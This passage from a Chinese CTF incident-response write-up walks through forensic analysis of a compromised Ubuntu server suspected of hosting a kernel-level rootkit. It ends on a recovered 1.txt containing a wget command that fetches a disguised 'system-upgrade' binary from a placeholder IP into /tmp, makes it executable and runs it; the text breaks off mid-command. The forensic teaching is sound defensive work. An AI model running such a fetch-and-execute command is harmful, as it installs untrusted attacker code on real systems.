从长城杯&CISCN赛题看应急响应：实战溯源与内核级木马分析

1. 从一场“安静”的入侵开始：当服务器行为异常时

大家好，我是老张，在安全圈里摸爬滚打了十几年，处理过各种稀奇古怪的入侵事件。今天想和大家复盘一个非常经典的案例，它源自一次真实的CTF比赛——长城杯&CISCN半决赛的应急响应赛题。这个场景特别有意思，它模拟了我们安全工程师在日常工作中最头疼的一种情况：服务器看起来一切正常，但你就是感觉它“不对劲”。

想象一下这个场景：你接手一台报告“行为异常”的Ubuntu服务器。登录上去第一件事做什么？当然是翻历史记录（history命令）。但奇怪的是，history里干干净净，像被精心打扫过一样。接着你检查网络连接（netstat -antp 或者 ss -antp），发现只有几个正常的监听端口，没有可疑的外联。查看进程列表（ps aux），也都是些常见的系统服务。一切看起来都风平浪静，但警报就是响了，直觉告诉你，这台机器肯定有问题。

这种“无痕”的异常，往往意味着攻击者的手段已经超出了常规的脚本小子水平。他们不再满足于留下一个明显的后门进程，而是开始玩起了“捉迷藏”。我当时的第一反应和题目中的分析思路一样：怀疑有内核级的东西在作祟。简单来说，普通的木马是“住”在用户层的应用程序，而内核级的木马则是“住”进了操作系统的核心，它有能力欺骗所有运行在用户层的检查工具。你用的ps、netstat命令，本身也是应用程序，它们向内核询问信息。如果内核被“动了手脚”，它完全可以只告诉你它想让你看到的东西。这就好比家里的监控摄像头被人篡改了，它回传的画面里，小偷是“隐形”的。

面对这种情况，静态分析磁盘镜像就成了最可靠的手段。因为无论木马在运行时隐藏得多深，只要它想持久化驻留，就必然在硬盘上留下痕迹。我们无法信任运行中的系统给出的信息，但硬盘上的二进制数据不会说谎。这就像侦探办案，现场的目击者（运行中的系统）可能被收买或欺骗，但现场的物理证据（磁盘镜像）才是破案的关键。接下来，我们就一起化身数字侦探，从这块“沉默”的硬盘开始，一步步揪出那个藏在系统最深处的“幽灵”。

2. 静态镜像分析：在硬盘的“废墟”中寻找蛛丝马迹

拿到一个服务器的磁盘镜像，就像拿到一个案发现场的完整三维扫描图。我们不再受制于运行时可能被篡改的视图，可以自由地、反复地检查每一个角落。在这个案例里，我们使用 R-Studio 这类专业的磁盘取证工具来加载镜像。第一步，自然是检查最敏感的位置——/root目录。不出所料，攻击者很谨慎，这里空空如也。但转向普通用户目录（比如/home/ubuntu）时，第一个“不和谐”的音符出现了：一个名为 1.txt 的文件。

在Linux系统里，用“1.txt”这种随意命名的重要文件，几乎可以肯定是人为临时创建或留下的。打开一看，内容是一条wget下载命令：

wget http://x.x.x.x/system-upgrade -O /tmp/update && chmod +x /tmp/update && /tmp/